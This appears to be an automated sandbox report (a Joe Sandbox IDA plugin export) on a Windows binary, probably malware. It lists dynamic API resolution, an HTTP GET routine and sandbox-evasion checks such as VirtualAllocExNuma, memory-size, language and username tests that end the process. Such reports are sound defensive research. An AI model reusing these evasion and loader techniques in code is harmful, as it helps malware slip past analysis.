Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 4e6476ff0239fcfebb22316d7bb712edfbcc813534dbbbac58f91699a9ded12f
Instruction ID: 50da218900c40e776c324182e9162bc9c570d019105f0ecda21c70c5030fa801
Opcode Fuzzy Hash: 4e6476ff0239fcfebb22316d7bb712edfbcc813534dbbbac58f91699a9ded12f
Instruction Fuzzy Hash: B9D05E74A0030CDBCB20EFE0DC496EDBBB8FB08311F100554D90663740EA315481CBA9

Function 00DF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00825248), ref: 00DF9C2D
GetProcAddress.KERNEL32(76210000,00825208), ref: 00DF9C45
GetProcAddress.KERNEL32(76210000,00839070), ref: 00DF9C5E
GetProcAddress.KERNEL32(76210000,00838FE0), ref: 00DF9C76
GetProcAddress.KERNEL32(76210000,00839040), ref: 00DF9C8E
GetProcAddress.KERNEL32(76210000,0083ED40), ref: 00DF9CA7
GetProcAddress.KERNEL32(76210000,0082A6A8), ref: 00DF9CBF
GetProcAddress.KERNEL32(76210000,0083ED28), ref: 00DF9CD7
GetProcAddress.KERNEL32(76210000,0083EC50), ref: 00DF9CF0
GetProcAddress.KERNEL32(76210000,0083EC68), ref: 00DF9D08
GetProcAddress.KERNEL32(76210000,0083EDE8), ref: 00DF9D20
GetProcAddress.KERNEL32(76210000,00825228), ref: 00DF9D39
GetProcAddress.KERNEL32(76210000,00825268), ref: 00DF9D51
GetProcAddress.KERNEL32(76210000,00825128), ref: 00DF9D69
GetProcAddress.KERNEL32(76210000,00825328), ref: 00DF9D82
GetProcAddress.KERNEL32(76210000,0083EB30), ref: 00DF9D9A
GetProcAddress.KERNEL32(76210000,0083EB60), ref: 00DF9DB2
GetProcAddress.KERNEL32(76210000,0082A590), ref: 00DF9DCB
GetProcAddress.KERNEL32(76210000,00825148), ref: 00DF9DE3
GetProcAddress.KERNEL32(76210000,0083ED88), ref: 00DF9DFB
GetProcAddress.KERNEL32(76210000,0083EB48), ref: 00DF9E14
GetProcAddress.KERNEL32(76210000,0083ED58), ref: 00DF9E2C
GetProcAddress.KERNEL32(76210000,0083ED70), ref: 00DF9E44
GetProcAddress.KERNEL32(76210000,00824FC8), ref: 00DF9E5D
GetProcAddress.KERNEL32(76210000,0083EB18), ref: 00DF9E75
GetProcAddress.KERNEL32(76210000,0083EBF0), ref: 00DF9E8D
GetProcAddress.KERNEL32(76210000,0083EDA0), ref: 00DF9EA6
GetProcAddress.KERNEL32(76210000,0083EBA8), ref: 00DF9EBE
GetProcAddress.KERNEL32(76210000,0083EBD8), ref: 00DF9ED6
GetProcAddress.KERNEL32(76210000,0083EB90), ref: 00DF9EEF
GetProcAddress.KERNEL32(76210000,0083EC80), ref: 00DF9F07
GetProcAddress.KERNEL32(76210000,0083EC08), ref: 00DF9F1F
GetProcAddress.KERNEL32(76210000,0083EDD0), ref: 00DF9F38
GetProcAddress.KERNEL32(76210000,0082FDA8), ref: 00DF9F50
GetProcAddress.KERNEL32(76210000,0083EC98), ref: 00DF9F68
GetProcAddress.KERNEL32(76210000,0083ED10), ref: 00DF9F81
GetProcAddress.KERNEL32(76210000,00824F88), ref: 00DF9F99
GetProcAddress.KERNEL32(76210000,0083EB78), ref: 00DF9FB1
GetProcAddress.KERNEL32(76210000,008251C8), ref: 00DF9FCA
GetProcAddress.KERNEL32(76210000,0083EDB8), ref: 00DF9FE2
GetProcAddress.KERNEL32(76210000,0083EC20), ref: 00DF9FFA
GetProcAddress.KERNEL32(76210000,00824F48), ref: 00DFA013
GetProcAddress.KERNEL32(76210000,00825288), ref: 00DFA02B
LoadLibraryA.KERNEL32(0083EB00,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA03D
LoadLibraryA.KERNEL32(0083ECE0,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA04E
LoadLibraryA.KERNEL32(0083EC38,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA060
LoadLibraryA.KERNEL32(0083EBC0,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA072
LoadLibraryA.KERNEL32(0083ECB0,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA083
LoadLibraryA.KERNEL32(0083ECC8,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA095
LoadLibraryA.KERNEL32(0083ECF8,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA0A7
LoadLibraryA.KERNEL32(0083EE30,?,00DF5CA3,00E00AEB,?,?,?,?,?,?,?,?,?,?,00E00AEA,00E00AE3), ref: 00DFA0B8
GetProcAddress.KERNEL32(751E0000,00824FA8), ref: 00DFA0DA
GetProcAddress.KERNEL32(751E0000,0083EF50), ref: 00DFA0F2
GetProcAddress.KERNEL32(751E0000,00838B08), ref: 00DFA10A
GetProcAddress.KERNEL32(751E0000,0083EEC0), ref: 00DFA123
GetProcAddress.KERNEL32(751E0000,008251E8), ref: 00DFA13B
GetProcAddress.KERNEL32(700F0000,0082A928), ref: 00DFA160
GetProcAddress.KERNEL32(700F0000,008256E8), ref: 00DFA179
GetProcAddress.KERNEL32(700F0000,0082A450), ref: 00DFA191
GetProcAddress.KERNEL32(700F0000,0083EF68), ref: 00DFA1A9
GetProcAddress.KERNEL32(700F0000,0083EE18), ref: 00DFA1C2
GetProcAddress.KERNEL32(700F0000,008256C8), ref: 00DFA1DA
GetProcAddress.KERNEL32(700F0000,008253E8), ref: 00DFA1F2
GetProcAddress.KERNEL32(700F0000,0083EED8), ref: 00DFA20B
GetProcAddress.KERNEL32(753A0000,00825608), ref: 00DFA22C
GetProcAddress.KERNEL32(753A0000,008253C8), ref: 00DFA244
GetProcAddress.KERNEL32(753A0000,0083EEF0), ref: 00DFA25D
GetProcAddress.KERNEL32(753A0000,0083EEA8), ref: 00DFA275
GetProcAddress.KERNEL32(753A0000,00825408), ref: 00DFA28D
GetProcAddress.KERNEL32(76310000,0082A7C0), ref: 00DFA2B3
GetProcAddress.KERNEL32(76310000,0082A540), ref: 00DFA2CB
GetProcAddress.KERNEL32(76310000,0083EE48), ref: 00DFA2E3
GetProcAddress.KERNEL32(76310000,008253A8), ref: 00DFA2FC
GetProcAddress.KERNEL32(76310000,00825428), ref: 00DFA314
GetProcAddress.KERNEL32(76310000,0082A720), ref: 00DFA32C
GetProcAddress.KERNEL32(76910000,0083EF98), ref: 00DFA352
GetProcAddress.KERNEL32(76910000,00825468), ref: 00DFA36A
GetProcAddress.KERNEL32(76910000,00838B48), ref: 00DFA382
GetProcAddress.KERNEL32(76910000,0083EE60), ref: 00DFA39B
GetProcAddress.KERNEL32(76910000,0083EE78), ref: 00DFA3B3
GetProcAddress.KERNEL32(76910000,00825528), ref: 00DFA3CB
GetProcAddress.KERNEL32(76910000,00825388), ref: 00DFA3E4
GetProcAddress.KERNEL32(76910000,0083EF08), ref: 00DFA3FC
GetProcAddress.KERNEL32(76910000,0083EF20), ref: 00DFA414
GetProcAddress.KERNEL32(75B30000,00825448), ref: 00DFA436
GetProcAddress.KERNEL32(75B30000,0083EE90), ref: 00DFA44E
GetProcAddress.KERNEL32(75B30000,0083EF80), ref: 00DFA466
GetProcAddress.KERNEL32(75B30000,0083EF38), ref: 00DFA47F
GetProcAddress.KERNEL32(75B30000,0083EFB0), ref: 00DFA497
GetProcAddress.KERNEL32(75670000,00825488), ref: 00DFA4B8
GetProcAddress.KERNEL32(75670000,00825688), ref: 00DFA4D1
GetProcAddress.KERNEL32(76AC0000,008254A8), ref: 00DFA4F2
GetProcAddress.KERNEL32(76AC0000,0083EE00), ref: 00DFA50A
GetProcAddress.KERNEL32(6F4E0000,008254C8), ref: 00DFA530
GetProcAddress.KERNEL32(6F4E0000,00825628), ref: 00DFA548
GetProcAddress.KERNEL32(6F4E0000,008255C8), ref: 00DFA560
GetProcAddress.KERNEL32(6F4E0000,0083E8C0), ref: 00DFA579
GetProcAddress.KERNEL32(6F4E0000,008255E8), ref: 00DFA591
GetProcAddress.KERNEL32(6F4E0000,008254E8), ref: 00DFA5A9
GetProcAddress.KERNEL32(6F4E0000,00825508), ref: 00DFA5C2
GetProcAddress.KERNEL32(6F4E0000,008255A8), ref: 00DFA5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00DFA5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00DFA607
GetProcAddress.KERNEL32(75AE0000,0083EA10), ref: 00DFA629
GetProcAddress.KERNEL32(75AE0000,00838B18), ref: 00DFA641
GetProcAddress.KERNEL32(75AE0000,0083EAD0), ref: 00DFA659
GetProcAddress.KERNEL32(75AE0000,0083EA28), ref: 00DFA672
GetProcAddress.KERNEL32(76300000,00825648), ref: 00DFA693
GetProcAddress.KERNEL32(6FE20000,0083EAE8), ref: 00DFA6B4
GetProcAddress.KERNEL32(6FE20000,00825348), ref: 00DFA6CD
GetProcAddress.KERNEL32(6FE20000,0083E968), ref: 00DFA6E5
GetProcAddress.KERNEL32(6FE20000,0083E9E0), ref: 00DFA6FD

Strings

InternetSetOptionA, xrefs: 00DFA5E5
HttpQueryInfoA, xrefs: 00DFA5FC

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 8e9e0743910a3d33717a23bdabf3c96daf14cdd263b32ed0241b2c60cccd9770
Instruction ID: 1c1396881dc5a29f1796552c325ceb53f4bb05f02d59090231888332d3f92d02
Opcode Fuzzy Hash: 8e9e0743910a3d33717a23bdabf3c96daf14cdd263b32ed0241b2c60cccd9770
Instruction Fuzzy Hash: 4062EBB5700200EFC774DFA8EA8895637F9F78C601734856AE68AC3A4CDE7F94419B64

Function 00DE6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
HttpOpenRequestA.WININET(00000000,GET,?,00840030,00000000,00000000,00400100,00000000), ref: 00DE6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00DE63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00DE646D
InternetCloseHandle.WININET(00000000), ref: 00DE64EF
InternetCloseHandle.WININET(00000000), ref: 00DE64F9
InternetCloseHandle.WININET(00000000), ref: 00DE6503

Strings

GET, xrefs: 00DE637C
ERROR, xrefs: 00DE64C9
ERROR, xrefs: 00DE6407

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5dbca39a9fa2713259220d54424f2716dda93f29b04b5490c9a32137f210105f
Instruction ID: c4e25dc5e626ccaaeef8ee908d7d73391957562af22dd71b523369095b4d0dfc
Opcode Fuzzy Hash: 5dbca39a9fa2713259220d54424f2716dda93f29b04b5490c9a32137f210105f
Instruction Fuzzy Hash: D0715C71A00218EBDB24EFA4CC49BEE7774FB44700F108199F20A6B5C4DBB5AA85CF61

Function 00DF5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA820: lstrlen.KERNEL32(00DE4F05,?,?,00DE4F05,00E00DDE), ref: 00DFA82B
Part of subcall function 00DFA820: lstrcpy.KERNEL32(00E00DDE,00000000), ref: 00DFA885

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5857

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DF51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5228

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5318
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF532F
Part of subcall function 00DF52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00DF5364
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF5383
Part of subcall function 00DF52C0: lstrlen.KERNEL32(00000000), ref: 00DF53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5A0C
Sleep.KERNEL32(0000EA60), ref: 00DF5A1B

Strings

ERROR, xrefs: 00DF5932
ERROR, xrefs: 00DF5693
ERROR, xrefs: 00DF59FE
ERROR, xrefs: 00DF577D
ERROR, xrefs: 00DF5849
ERROR, xrefs: 00DF5636

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b712b122a781439edc6029e59d3e38e020eb6bc23938944723ff429ef7620f2c
Instruction ID: 79af92956f0381449e2139ff272c78e3fc5ff461b28310a9926fea7baac6b2a0
Opcode Fuzzy Hash: b712b122a781439edc6029e59d3e38e020eb6bc23938944723ff429ef7620f2c
Instruction Fuzzy Hash: 73E152B1A1020C9ACB14FBA4E852EFD7378EF54340F51C118B64A67495EF75AB09CBB2

Function 00DF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00DF17C5
ExitProcess.KERNEL32 ref: 00DF17D1

Strings

block, xrefs: 00DF17B7

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 84bc075d284ee0420306058730858058f0ff348d526df65b4e1f1408536975b6
Instruction ID: 5b8a325d576877e94ab6bc33fe6af0b27c7cb99fa575ba624164c904f17d17c1
Opcode Fuzzy Hash: 84bc075d284ee0420306058730858058f0ff348d526df65b4e1f1408536975b6
Instruction Fuzzy Hash: DA5168B8A0020EEBCB14DFA0D994BBE77B5BF44304F118048E656A7280DBB5E941DBB1

Function 00DF7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00DF7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DF757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7603
RtlAllocateHeap.NTDLL(00000000), ref: 00DF760A
wsprintfA.USER32 ref: 00DF7640

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

:, xrefs: 00DF755C
\, xrefs: 00DF7560
C, xrefs: 00DF754C
, xrefs: 00DF764D, 00DF7655, 00DF761B, 00DF7623

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 7d4365eeb78933c8df5f8a52d880a949324614c7aa3465016a80854f3f623f26
Instruction ID: cdabdd32e80fdc169ca3c38babd1a08124cef8cf971b5f57c8e4d8ff896cfc50
Opcode Fuzzy Hash: 7d4365eeb78933c8df5f8a52d880a949324614c7aa3465016a80854f3f623f26
Instruction Fuzzy Hash: 3A4161B1904248EBDB20DF94DC45BEEB7B4EF08704F144199F609A7284DB79AA44CBB5

Function 00DF69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831650), ref: 00DF98A1
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831638), ref: 00DF98BA
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831668), ref: 00DF98D2
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831698), ref: 00DF98EA
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831728), ref: 00DF9903
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00838C48), ref: 00DF991B
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,008250A8), ref: 00DF9933
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,008250E8), ref: 00DF994C
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,008316B0), ref: 00DF9964
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,008316C8), ref: 00DF997C
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831740), ref: 00DF9995
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00831758), ref: 00DF99AD
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,00825068), ref: 00DF99C5
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(76210000,008316E0), ref: 00DF99DE

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DE11D0: ExitProcess.KERNEL32 ref: 00DE1211

Part of subcall function 00DE1160: GetSystemInfo.KERNEL32(?), ref: 00DE116A
Part of subcall function 00DE1160: ExitProcess.KERNEL32 ref: 00DE117E

Part of subcall function 00DE1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00DE112B
Part of subcall function 00DE1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00DE1132
Part of subcall function 00DE1110: ExitProcess.KERNEL32 ref: 00DE1143

Part of subcall function 00DE1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00DE123E
Part of subcall function 00DE1220: __aulldiv.LIBCMT ref: 00DE1258
Part of subcall function 00DE1220: __aulldiv.LIBCMT ref: 00DE1266
Part of subcall function 00DE1220: ExitProcess.KERNEL32 ref: 00DE1294

Part of subcall function 00DF6770: GetUserDefaultLangID.KERNEL32 ref: 00DF6774

Part of subcall function 00DE1190: ExitProcess.KERNEL32 ref: 00DE11C6

Part of subcall function 00DF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
Part of subcall function 00DF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
Part of subcall function 00DF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

Part of subcall function 00DF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
Part of subcall function 00DF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
